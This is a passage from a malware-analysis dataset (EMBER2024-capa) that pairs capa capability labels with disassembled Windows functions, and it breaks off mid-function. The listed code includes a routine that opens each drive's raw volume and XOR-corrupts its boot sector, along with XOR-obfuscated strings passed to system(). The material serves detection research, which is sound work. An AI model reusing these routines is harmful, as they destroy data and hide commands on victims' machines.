joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140091b10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov eax, dword [0x1401721d8]
xor r10d, r10d
cmp dword [reloc.WS2_32.dll_accept], 2
mov rdi, rcx
movsd xmm0, qword [0x1401721d0]
mov r8d, r10d
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1401721dc]
mov byte [rsp + 0x2c], al
movsd qword [rsp + 0x20], xmm0
jl 0x140091c66
movdqa xmm2, xmmword [0x140178040]
mov r8d, 8
movdqa xmm4, xmmword [0x140178320]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140178060]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401780a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1401721d0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401781e0]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x20], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401780a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x24]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401781e0]
xorps xmm2, xmm0
movd dword [rsp + 0x24], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140091c71
xorps xmm0, xmm0
mov qword [rsp + 0x40], r10
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x48], r10
movups xmmword [rsp + 0x30], xmm0
mov r8, rbx
lea rax, [rsp + 0x20]
inc r8
cmp byte [rax + r8], r10b
jne 0x140091cc3
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140058f40
cmp qword [rsp + 0x48], 0xf
lea r14, [rsp + 0x30]
mov rbp, qword [rdi + 0x10]
cmova r14, qword [rsp + 0x30]
cmp qword [rdi + 0x18], 0xf
jbe 0x140091cfa
mov rdi, qword [rdi]
mov rsi, qword [rsp + 0x40]
mov qword [rsp + 0x80], r15
test rsi, rsi
jne 0x140091d15
cmp rbp, rbx
cmovb rbx, rbp
jmp 0x140091d54
cmp rsi, rbp
ja 0x140091d67
movzx r15d, byte [r14]
mov rax, rbp
sub rax, rsi
cmp rax, rbx
cmovb rbx, rax
add rbx, rdi
nop
cmp byte [rbx], r15b
jne 0x140091d47
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140091d51
cmp rbx, rdi
je 0x140091d67
dec rbx
jmp 0x140091d30
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x140091d67
lea rax, [rbx + rsi]
cmp rax, rbp
jne 0x140091d67
mov bl, 1
jmp 0x140091d69
xor bl, bl
lea rcx, [rsp + 0x30]
call fcn.14003d4d0
mov r15, qword [rsp + 0x80]
movzx eax, bl
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140148bf0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400aaf80
Capabilities:
Get routing table

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3d0
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
xor ebx, ebx
lea rdx, [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x58], ebx
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
test eax, eax
je 0x1400aafe0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [rdi], ebx
jbe 0x1400ab031
nop dword [rax]
nop dword [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
cmp dword [rcx + rdi + 4], 0
movups xmm3, xmmword [rcx + rdi + 0x14]
jne 0x1400ab01a
lea rcx, [rsp + 0x60]
movd dword [rsp + 0x260], xmm3
call qword [sym.imp.IPHLPAPI.DLL_GetIfEntry]
test eax, eax
je 0x1400ab022
inc ebx
cmp ebx, dword [rdi]
jb 0x1400aaff0
jmp 0x1400ab031
cmp dword [rsp + 0x264], 6
sete byte [0x1415fe398]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140148bf0
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3d0
pop rdi
ret
Function at 0x1400b7f00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rsi
sub rsp, 0x2f0
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rax, str.FAT32
movsx r8d, cl
mov qword [rsp + 0x40], rax
lea rdx, str.._c:
lea rax, [0x140173c6c]
mov dword [rsp + 0x48], 0x52
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xa0]
lea rax, str.NTFS
mov dword [rsp + 0x4c], 0x43
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x58], Ordinal_60
mov dword [rsp + 0x5c], Ordinal_46
mov dword [rsp + 0x68], 3
mov dword [rsp + 0x6c], Ordinal_79
call fcn.1400db900
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0xa0]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400b80db
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [rsp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400b80d2
mov qword [rsp + 0x308], rbx
lea rbx, [rsp + 0x48]
mov qword [rsp + 0x310], rdi
xor edi, edi
nop
mov rcx, qword [rbx - 8]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400b8020
mov eax, dword [rbx]
lea rdx, [rsp + 0xe0]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400b804e
inc edi
add rbx, 0x10
cmp edi, 3
jl 0x1400b8010
jmp 0x1400b80c2
cmp edi, 3
jge 0x1400b80c2
lea rcx, [rsp + 0x70]
call fcn.1400ea7c0
cmp qword [rax + 0x18], 0xf
jbe 0x1400b8067
mov rax, qword [rax]
mov eax, dword [rax]
movsxd rcx, edi
add rcx, rcx
mov ecx, dword [rsp + rcx*8 + 0x4c]
xor dword [rsp + rcx + 0xe0], eax
lea rcx, [rsp + 0x70]
call fcn.14003d4d0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1400b80c2
lea r9, [rsp + 0x94]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x308]
mov rdi, qword [rsp + 0x310]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140148bf0
add rsp, 0x2f0
pop rsi
ret

Function at 0x1400b8100
Capabilities:
Parse pe header
Read file on windows
Write file on windows

Disassembly:
sub rsp, 0x28
mov cl, 0x41
call fcn.1400b7f00
mov cl, 0x42
call fcn.1400b7f00
mov cl, 0x43
call fcn.1400b7f00
mov cl, 0x44
call fcn.1400b7f00
mov cl, 0x45
call fcn.1400b7f00
mov cl, 0x46
call fcn.1400b7f00
mov cl, 0x47
call fcn.1400b7f00
mov cl, 0x48
call fcn.1400b7f00
mov cl, 0x49
call fcn.1400b7f00
mov cl, 0x4a
call fcn.1400b7f00
mov cl, 0x4b
call fcn.1400b7f00
mov cl, 0x4c
call fcn.1400b7f00
mov cl, 0x4d
call fcn.1400b7f00
mov cl, Ordinal_79
call fcn.1400b7f00
mov cl, reloc.WLDAP32.dll_Ordinal_79
call fcn.1400b7f00
mov cl, 0x50
call fcn.1400b7f00
mov cl, 0x51
call fcn.1400b7f00
mov cl, 0x52
call fcn.1400b7f00
mov cl, 0x53
call fcn.1400b7f00
mov cl, 0x54
call fcn.1400b7f00
mov cl, 0x55
call fcn.1400b7f00
mov cl, 0x56
call fcn.1400b7f00
mov cl, 0x58
call fcn.1400b7f00
mov cl, 0x57
call fcn.1400b7f00
mov cl, 0x5a
add rsp, 0x28
jmp fcn.1400b7f00
Function at 0x1400b81c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13f0
call fcn.140149660
sub rsp, rax
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x13e0], rax
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rsp + 0x28], xmm0
movzx eax, byte [0x140171060]
mov byte [rsp + 0x38], al
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], cl
mov ebx, 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov ecx, eax
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
nop
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
inc rbx
cmp rbx, 0x270
jb 0x1400b8240
mov dword [rsp + 0x50], 0x270
mov ebx, 5
nop dword [rax]
lea rcx, [rsp + 0x50]
call fcn.14008b410
mov eax, eax
shl rax, 4
shr rax, 0x20
cdqe
movzx r9d, byte [rsp + rax + 0x28]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1400b82b8
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x1400b82ad
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400b82c0
mov rcx, rdi
call fcn.14005fa70
sub rbx, 1
jne 0x1400b8270
mov rax, rdi
mov rcx, qword [rsp + 0x13e0]
xor rcx, rsp
call fcn.140148bf0
mov rbx, qword [rsp + 0x1408]
add rsp, 0x13f0
pop rdi
ret
Function at 0x1400db270
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x1400db2a1
xor eax, eax
jmp 0x1400db3eb
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x1400db2de
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x1400db2de
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x1400db3eb
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x1400db3e0
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400db325
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400db333
movzx ecx, di
jmp 0x1400db387
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400db3a0
sub eax, 1
je 0x1400db3a0
cmp eax, 2
jne 0x1400db3e0
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x1400db3e3
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x1400db3ce
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x1400db3e0
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140148bf0
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400db570
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400db645
cmp byte [rcx + 0x72], 0
je 0x1400db645
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + Ordinal_26]
cmp di, ax
je 0x1400db641
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400db606
sub eax, 1
je 0x1400db60a
cmp eax, 2
jne 0x1400db641
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140148bf0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400db638
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400db641
cmp byte [rbx + 0x72], 0
sete al
jmp 0x1400db5ee
xor al, al
jmp 0x1400db5ee
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140148bf0
add rsp, 0x60
pop rbx
ret
Function at 0x1400e9e60
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, r8
mov rbx, rcx
mov qword [rsp + 0x60], rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x70]
call fcn.14014a514
mov dword [rsp + 0x58], 0x200
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetPolicies
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400e9f68
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400e9f5d
mov eax, dword [rsp + 0x68]
dec eax
cmp eax, 1
ja 0x1400e9f5d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [rsp + 0x58]
shr r8, 1
dec r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.14008a840
nop
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.1400e9fc0
nop
lea rcx, [rsp + 0x38]
call fcn.14008a0b0
jmp 0x1400e9f90
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
xor r8d, r8d
lea rdx, [0x140171e7c]
mov rcx, rbx
call fcn.14008a840
mov rax, rbx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140148bf0
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret

Function at 0x1400ea3c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400ea3da
test al, 0x10
jne 0x1400ea3da
mov al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x1400ea7c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x1400
call fcn.140149660
sub rsp, rax
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x13f0], rax
mov rbx, rcx
mov qword [rsp + 0x50], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [0x1401768f0]
movups xmmword [rsp + 0x38], xmm1
mov eax, dword [0x140176900]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x140176904]
mov byte [rsp + 0x4c], al
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], cl
mov edi, 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
mov dword [rsp + 0x13e4], 0xffffffff
mov dword [rsp + 0x64], eax
nop word [rax + rax]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edi
mov dword [rsp + rdi*4 + 0x64], ecx
inc rdi
cmp rdi, 0x270
jb 0x1400ea860
mov dword [rsp + 0x60], 0x270
mov edi, 8
nop dword [rax]
lea rcx, [rsp + 0x60]
call fcn.14008b410
mov ecx, eax
imul rax, rcx, 0x25
cmp eax, 6
ja 0x1400ea8ba
lea rcx, [rsp + 0x60]
call fcn.14008b410
mov ecx, eax
imul rax, rcx, 0x25
cmp eax, 7
jb 0x1400ea8a5
shr rax, 0x20
movsxd rcx, eax
movzx r9d, byte [rsp + rcx + 0x28]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400ea8f3
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400ea8e8
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400ea8fb
mov rcx, rbx
call fcn.14005fa70
sub rdi, 1
jne 0x1400ea890
mov rax, rbx
mov rcx, qword [rsp + 0x13f0]
xor rcx, rsp
call fcn.140148bf0
mov rbx, qword [rsp + 0x1418]
add rsp, 0x1400
pop rdi
ret
Function at 0x1400eb1e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13e0
call fcn.140149660
sub rsp, rax
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x13d0], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor edi, edi
mov dword [rsp + 0x28], edi
lea rcx, [rsp + 0x20]
call fcn.14006af00
mov edx, dword [rax]
mov dword [rsp + 0x13c4], 0xffffffff
mov dword [rsp + 0x44], edx
lea ecx, [rdi + 1]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x44], edx
inc rcx
cmp rcx, 0x270
jb 0x1400eb231
mov dword [rsp + 0x40], 0x270
mov eax, dword [0x140177360]
mov dword [rsp + 0x20], eax
cmp byte [0x140177363], dil
je 0x1400eb330
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400eb2f6
movdqa xmm3, xmmword [0x140178040]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140178310]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140178310]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401780b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140178210]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x1400eb330
lea r9, [rsp + 0x20]
mov r8d, edi
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400eb300
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1400eb350
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140058f40
mov dword [rsp + 0x28], 1
mov edi, 6
lea rcx, [rsp + 0x40]
call fcn.14008b410
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400eb3a5
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call fcn.14008b410
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400eb390
shr rax, 0x20
lea r9d, [rax - 0x7fffff9f]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400eb3dc
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400eb3d1
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400eb3e4
mov rcx, rbx
call fcn.14005fa70
sub rdi, 1
jne 0x1400eb373
mov rax, rbx
mov rcx, qword [rsp + 0x13d0]
xor rcx, rsp
call fcn.140148bf0
mov rbx, qword [rsp + 0x13f8]
add rsp, 0x13e0
pop rdi
ret
Function at 0x1400eb410
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
movups xmm0, xmmword [0x1401770c8]
movups xmmword [rbp - 0x60], xmm0
mov ecx, dword [0x1401770d8]
mov dword [rbp - 0x50], ecx
movzx eax, word [0x1401770dc]
mov edx, reloc.WS2_32.dll_WSAStartup
mov word [rbp - 0x60], dx
xor word [rbp - 0x5e], 0x39
xor word [rbp - 0x5c], 0x3a
xor word [rbp - 0x5a], 0x3b
xor word [rbp - 0x58], 0x3c
xor word [rbp - 0x56], 0x3d
xor word [rbp - 0x54], 0x3e
xor word [rbp - 0x52], 0x3f
xor cx, 0x40
mov word [rbp - 0x50], cx
xor word [rbp - 0x4e], 0x41
xor ax, 0x42
mov word [rbp - 0x4c], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp - 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400eb4b0
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x48]
call fcn.14008a840
nop
nop dword [rax]
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400eb4d0
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.1400898f0
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x38]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 0x48]
cmova rdx, qword [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400db960
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x28]
call fcn.14003d4d0
nop
lea rcx, [rbp - 0x48]
call fcn.14008a0b0
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140148bf0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400eb560
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
movups xmm0, xmmword [0x140176b50]
movups xmmword [rbp - 0x60], xmm0
movzx eax, word [0x140176b60]
mov ecx, reloc.WS2_32.dll_WSAStartup
mov word [rbp - 0x60], cx
xor word [rbp - 0x5e], 0x39
xor word [rbp - 0x5c], 0x3a
xor word [rbp - 0x5a], 0x3b
xor word [rbp - 0x58], 0x3c
xor word [rbp - 0x56], 0x3d
xor word [rbp - 0x54], 0x3e
xor word [rbp - 0x52], 0x3f
xor ax, 0x40
mov word [rbp - 0x50], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp - 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400eb5f0
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x48]
call fcn.14008a840
nop
nop dword [rax]
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400eb610
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.1400898f0
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x38]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 0x48]
